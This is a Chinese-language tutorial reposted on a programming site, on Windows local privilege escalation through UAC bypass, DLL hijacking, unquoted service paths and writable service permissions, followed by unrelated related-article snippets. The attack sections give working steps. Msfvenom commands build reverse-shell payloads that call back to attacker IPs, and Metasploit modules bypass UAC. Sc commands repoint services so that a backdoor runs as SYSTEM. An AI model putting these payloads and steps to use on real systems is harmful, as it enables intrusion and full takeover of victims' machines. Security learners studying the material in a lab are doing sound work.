Windows本地提权 · 下篇

news2024/9/21 16:27:42

Windows本地提权,这种提权适用于有一本地个用户的基础上,有一定的权限,无法从webshell上进行提权

目录

BypassUAC提权

原理

关于UAC

MFS绕过提权

UAC等级为低绕过测试

UAC等级为中绕过测试

UAC等级为高绕过测试

注意:bypassuac注意需要用户在管理员组,并且uac是开启状态,uac如果是关闭状态是可以直接getsystem进行提权的

工具UAC绕过

DLL劫持提权

关于DLL

原理

DLL劫持

引号路径提权

原理

实战测试

服务权限提权

原理

实战测试


BypassUAC提权

绕过UAC进行提权

原理

UAC绕过原理:攻击者通过不同的技术手段绕过UAC,以实现在系统上以管理员权限执行恶意代码的目的。以下是几种常见的UAC绕过技术:

  • 异常捕获绕过:攻击者通过在恶意代码中使用异常处理机制,利用操作系统的异常捕获过程,绕过UAC的提权提示。
  • 自动提权:攻击者通过利用一些可信进程(如"cmstp.exe"、"eventvwr.exe"等)的自动提权功能,将恶意代码伪装为这些进程的子进程,从而以管理员权限运行。
  • 系统漏洞利用:攻击者利用操作系统中的漏洞,例如文件/注册表权限绕过、DLL劫持等,通过执行恶意代码来提升权限。
  • 提权工具:攻击者使用专门的工具,如Metasploit等,利用已知的UAC绕过技术来提升权限。

关于UAC

UAC(用户账户控制)是Windows操作系统中的一项安全功能。它的目的是通过降低恶意软件的权限,保护计算机免受未经授权的更改和恶意软件的攻击。

当启用了UAC时,当需要进行需要管理员权限的操作时,系统会提示用户进行确认。这样,即使用户具有管理员权限,也需要确认其意图,以防止不经意间或未经授权的更改。

UAC的工作原理如下:

  1. 当需要管理员权限执行某个操作时,系统会弹出UAC提示框,询问用户是否同意。
  2. 用户根据需要选择“是”或“否”。
  3. 如果用户选择“是”,操作将以管理员权限继续执行;如果用户选择“否”,操作将被中止。
  4. 如果当前用户不是管理员账户,系统会要求用户提供管理员凭据(用户名和密码)以确认身份。
  5. 如果操作需要管理员权限,但用户无法提供管理员凭据,则操作将无法执行。

通过UAC,Windows操作系统能够在保护计算机安全的同时,避免普通用户滥用管理员权限,减少潜在的风险和威胁。

windows打开方式:

win + r 输入 msconfig

UAC设置有三个等级:低,中,高,默认为中

 在是完全开启动UAC的状态

在开到最高等级时,安装exe需要用户亲手点击确认,否则无法安装

而我们在启动木马的时候都是在命令行模式下,我们是无法打开这个窗口的。这就需要配合钓鱼,但是也有可以绕过方法。

MFS绕过提权

测试环境:win7

首先MSF木马上线

生成木马:

msfvenom -p windows/meterpreter/reverse_tcp lport=4444 lhost=192.168.85.129 -f exe -o 11.exe

开启监听:

use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

msf成功上线,可以使用msf的自动化提权

UAC等级为低绕过测试

首先木马上线后,测试利用getsystem进行提权

提权成功!!!

UAC等级为中绕过测试

直接getsystem测试,不出意料失败了

使用这个模块进行UAC绕过测试   use exploit/windows/local/bypassuac

use exploit/windows/local/bypassuac
set session 2
run

 设置session

提权成功!!!

UAC等级为高绕过测试

测试环境:win10

exploit/windows/local/bypassuac不好用了,提权不了

换用ask模块进行测试:

但是需要对方配合点击确定

这才能顺利提权。

换用这个模块进行测试 use exploit/windows/local/bypassuac_sluihijack 不需要对方配合

use exploit/windows/local/bypassuac_sluihijack
set session 4
run

顺利提权!!!

msf共有十几个uac模块,灵活应用

注意:bypassuac注意需要用户在管理员组,并且uac是开启状态,uac如果是关闭状态是可以直接getsystem进行提权的

工具UAC绕过

项目地址:GitHub - hfiref0x/UACME: Defeating Windows User Account Control

环境:win7

一般用 41 23  61 会弹出一个system权限的 cmd

这个下载后需要进行编译生成才能使用,会生成根据32,64位系统利用的可执行文件

这条命令表示以高权限启动木马

使用MSF进行监听:

返回system权限

DLL劫持提权

windows程序启动的时候需要DLL,可以通过把后门写成dll文件覆盖原有的dll文件,等待管理员点击进行提权。

关于DLL

动态链接库(Dynamic Link Library,简称DLL)是一种在Windows操作系统中广泛使用的可执行文件格式。DLL文件包含可供程序调用的函数、数据和资源,可以被多个程序共享和重用,提供了模块化和可扩展性的优势。

windows系统DLL文件搜索顺序:

  1. 应用程序加载的目录
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. 当前工作目录Current Working Directory,CWD
  6. 在PATH环境变量的目录(先系统后用户)

一般dll劫持的是在应用程序的加载目录,其他地方可能没有权限

除了第一条,剩下的基本不用想,因为需要高权限

可以使用火绒剑来分析应用程序加载的DLL文件

这样的dll文件就可以尝试劫持

原理

攻击者通过利用程序加载动态链接库(DLL)的过程中的漏洞,以提升自己的权限。DLL劫持提权通常发生在程序加载DLL时,攻击者将恶意的DLL文件替换掉目标程序所要加载的合法DLL文件,使其在加载过程中执行恶意代码。

攻击者利用DLL劫持提权的原理如下:

  1. 目标程序加载DLL:当一个程序运行时,它可能需要加载一个或多个外部的DLL文件来执行特定的功能。程序加载DLL的过程包括根据指定的文件名查找DLL、将DLL文件加载到内存并执行其中的代码。

  2. DLL搜索顺序:在加载DLL时,操作系统会按照一定的搜索顺序来查找DLL文件。这个搜索顺序通常包括在指定路径中查找、在系统目录和Windows目录中查找、在应用程序所在目录中查找等。

  3. 恶意DLL替换:攻击者可以将恶意的DLL文件命名为目标程序所要加载的合法DLL文件,并将其放置在指定的搜索路径中,使目标程序在加载DLL时误将恶意DLL加载到内存中。

  4. 执行恶意代码:一旦目标程序加载了恶意DLL,攻击者就可以通过DLL中的恶意代码来执行各种恶意操作,包括获取高权限的访问权限、窃取敏感信息、修改系统配置等。

DLL劫持提权的成功攻击需要满足以下条件:

  • 目标程序存在DLL加载的漏洞,即它在加载DLL时没有明确指定DLL的路径,或者存在可被攻击者利用的搜索路径。

  • 攻击者能够将恶意DLL文件放置在目标程序所使用的搜索路径中,且命名与目标DLL文件相同。

DLL劫持

测试环境:win2016 flashfxp(ftp)

使用火绒剑分析:

使用MSF生成DLL后门


 msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=4444 -f dll -o xiaodi.dll

替换原有的DLL文件

监听接收连接

上线,得到管理员权限

这个FXP是使用管理员的账户运行的,因为继承的关系,我们的到的也是管理员的权限

之后再进行提权

 这款工具可以检测dll文件是否可以被劫持,需要放到对方主机上运行

引号路径提权

利用配置错误,启动服务以system权限运行木马

原理

当服务是没有引号又有空格是就会造成提权,系统会把空格前的当作exe程序,把后面的当作参数,可以生成一个和前面名字一样的后门exe,当服务启动时,会成功上线,如果是系统服务,那获得的就是system权限;当有引号担忧空格时,就会当作一个整体,没有安全问题

带引号:

“C:\Program Files (x86)\Acunetix\wvs_supervisor.exe"

不带引号:

C:\Program Files (x86)\Acunetix\wvs_supervisor.exe

不带引号 有空格的命令会被认为是命令的参数

带引号就是一个整体

之后通过修改服务对应的路径,启动服务完成提权。

注意:windows系统服务启动是以system权限启动的

实战测试

测试环境:win2016

首先,先检测系统上是否存在服务路径的问题

检测方式:

命令检测

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
排除c盘的windows主要是因为没有权限

使用检测工具:

  GitHub - 411Hall/JAWS: JAWS - Just Another Windows (Enum) Script

这个也不错

msf生成和服务空格前一样的exe后门程序,放到对应启动的位置,放到C盘

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe

开启监听:

 找到带有空格的服务路径的对应服务进行查看

在启动服务的时候

当这个服务启动的时候,该路径未被空格包裹,会在C盘下找到我们的木马 program.exe 作为命令,后面的视为参数去执行。这样我们的木马就作为system进行上线

然后启动这个服务就可以运行木马,成功上线

服务权限提权

原理

即使正确引用了服务路径,也可能存在其它漏洞。由于管理配置错误,用户可能对服务拥有过多权限。例如:可以直接修改它导致重定向执行文件。本质就是修改服务对应路径,用服务system启动我们的木马

实战测试

使用微软提供的工具:AccessChk - Sysinternals | Microsoft Learn

检测服务权限:

 关注 service all access

MSF生成后门并开启监听:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe

找可以改的service_all_access

创建一个服务或者找到一个可修改的

sc create test start= auto binPath="C:\1.exe"

更改服务程序路径,并启动服务

sc config "test" binpath="C:\Program.exe"
sc start test

system权限启动服务,木马的权限也是system,上线:

大部分服务是不能修改的,修改需要高权限

这是属于配置问题,配置某些低权用户也可以修改服务

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/594458.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【综述】视频无监督域自适应(VUDA)的小综述

【综述】视频无监督域自适应(VUDA)的小综述 一篇小综述,大家看个乐子就好,参考文献来自于一篇综述性论文 链接:https://arxiv.org/abs/2211.10412 这次基于三篇有代表性的文章来讲解 X. Song, S. Zhao, J. Yang, H.…

第十篇、基于Arduino uno,用LCD1602(不带IIC的)显示屏显示字符——结果导向

0、结果 说明:可以在LCD1602屏幕上面显示字符,实时的变量,如果是你想要的,可以接着往下看。 1、外观 说明:注意是不带IIC通讯的LCD屏幕,外形如下。 2、连线 说明:需要连接十几根线。 uno——…

#机器学习--深度学习中的优化

#机器学习--深度学习中的优化 引言1、神经网络优化中的挑战1.1、病态1.2、局部极小值1.3、高原、鞍点和其它平坦区域1.4、悬崖1.5、长期依赖、梯度消失与梯度爆炸1.6、非精确梯度1.7、局部和全局结构间的弱对应1.8、优化的理论限制 2、优化算法2.1、随机梯度下降(SG…

macos wireshark 抓取https包

1、启动浏览器 1.1 创建空文件 $ touch /Users/zhujl/Downloads/https/mysslkey.log 2、设置wireshark tls属性,指定tls密钥存储文件 2.1 进入Wireshark Preferfences > Protocols > TLS 属性配置 2.2 勾选上Reassemable TLS records spanning multiple …

【网络编程】https协议——加密与窃密的攻防战

目录 一、https协议的介绍 二、加密和解密 1、加密和解密的过程 2、为什么需要加密和解密 3、常见的加密方式 3.1对称加密 3.2非对称加密 3.3数据摘要(数据指纹) 3.4数字签名 三、https加密解密的方式选择和中间人攻击的方式 1、只使用对称加…

JUC 高并发编程基础篇

JUC 高并发编程基础篇 • 1、什么是 JUC • 2、Lock 接口 • 3、线程间通信 • 4、集合的线程安全 • 5、多线程锁 • 6、Callable 接口 • 7、JUC 三大辅助类: CountDownLatch CyclicBarrier Semaphore • 8、读写锁: ReentrantReadWriteLock • 9、阻塞队列 • 10、ThreadPo…

Android12之MediaMetricsService服务(一百五十四)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 人生格言: 人生…

谷歌云 | 你需要知道的关于软件开发中的人工智能

【本文由 Cloud Ace 整理,Cloud Ace 是谷歌云全球战略合作伙伴,拥有 300 多名工程师,也是谷歌最高级别合作伙伴,多次获得 Google Cloud 合作伙伴奖。作为谷歌托管服务商,我们提供谷歌云、谷歌地图、谷歌办公套件、谷歌…

底层课程导学

目录 一、底层导学 1.课程回顾 2.嵌入式系统分层 3.Linux层次结构 二、ARM课该怎么学 1.课程内容 2.学习方法 三、计算机基础知识 1.计算机的进制 2.总线 四、ARM存储模型 1.三级存储结 五、CPU工作原理 1.CPU工作原理 2.指令的执行过程 3.地址空间 六、ARM体系结构 1.ARM处理器…

自动化测试实战项目(二)连连看外挂

自动化测试和做外挂的原理很相似,都是模拟用户的鼠标和键盘操作, 给自己的程序写自动化就是做测试,给别人的程序写自动化就是外挂了。 本文使用的技术也同样适用制作“对对碰”,"找茬" 之类游戏的外挂。 阅读目录 QQ连连看外挂实…

《面试1v1》垃圾回收机制

我是 javapub,一名 Markdown 程序员从👨‍💻,八股文种子选手。 面试官: 小伙子,跟我聊聊垃圾回收机制吧。什么是垃圾?怎么回收? 候选人: 好的面试官,来吧!垃圾就是那些不再被程序使用的对象。Java 通过…

Spring Boot定时任务

目录 1.概述 2.Spring Boot定时任务 2.1.快速使用 2.2.cron表达式 3.业务示例 3.1.业务描述 3.2.业务实现 4.实现原理 5.自定义线程池 1.概述 在某些业务场景中,需要定时执行一些任务,有可能是定时统计然后生成报表,有可能是定时发…

Python自定义函数

目录 1. 语法 2. 常见用法 2.1. 函数的返回值 2.2. 函数互相调用 3. 实战练习 3.1. 定义执行Linux命令的函数 1. 语法 #定义函数 def 函数名(参数1, 参数2):函数体(代码块)......#调用函数(定义函数时使用了参数,调用也必须使用参数) 函数名(参数1, 参数2) 定…

React学习6 路由

SPA的理解 单页Web应用(single page web application,SPA)。整个应用只有一个完整的页面。点击页面中的链接不会刷新页面,只会做页面的局部更新。数据都需要通过ajax请求获取, 并在前端异步展现。 什么是路由? 一个路由就是一个…

网络连接管理除了TCP三次握手,还有TCP四次挥手

网络连接管理除了TCP三次握手,还有TCP四次挥手 TCP三次握手,TCP四次挥手 网络连接管理除了TCP三次握手,还有TCP四次挥手TCP三次握手TCP四次挥手总结 TCP三次握手 网络通信建立连接,TCP会进行三次握手,三次握手主要是两…

【叠高高】叠蛋糕游戏的微信小程序开发流程详解

记得小时候玩过的搭积木游戏吗,和叠高高游戏原理差不多的,与之类似的还有盖高楼游戏,就是看谁盖的(叠的)最高,这里讲一下比较基础的叠高高游戏小程序实现过程,对编程感兴趣的同学可以参考学习一…

Linux Shell 实现一键部署Rust1.69

rust 前言 一门赋予每个人,构建可靠且高效软件能力的语言。 全世界已有数百家公司在生产环境中使用 Rust,以达到快速、跨平台、低资源占用的目的。很多著名且受欢迎的软件,例如 Firefox、 Dropbox 和 Cloudflare 都在使用 Rust。从初创公司…

网络安全工程师的入门学习路径,年薪30W不是梦!

最近看到网上有很多人在问诸如:“怎样成为网络信息安全工程师”等相关问题,这可能与近几年网络安全事件频发,国家对于互联网信息安全和互联网舆情的重视程度不断提升有关,网络信息安全工程师随之成为炙手可热的职业。 首先&#…

Web的基本漏洞--文件包含漏洞

目录 一、文件包含漏洞的介绍 1.文件包含漏洞的原理 2.常见的文件包含函数 3.文件包含漏洞的分类 本地文件包含漏洞 远程文件包含漏洞 3.文件包含漏洞的危害 4.文件包含漏洞的防范措施 5.文件包含漏洞的绕过手法 空字符绕过 超长字符绕过 一、文件包含漏洞的介绍 1…

5年经验之谈:月薪3000到30000,测试工程师的变“行”记

自我介绍下,我是一名转IT测试人,我的专业是化学,去化工厂实习才发现这专业的坑人之处,化学试剂害人不浅,有毒,易燃易爆,实验室经常用丙酮,甲醇,四氯化碳,接触…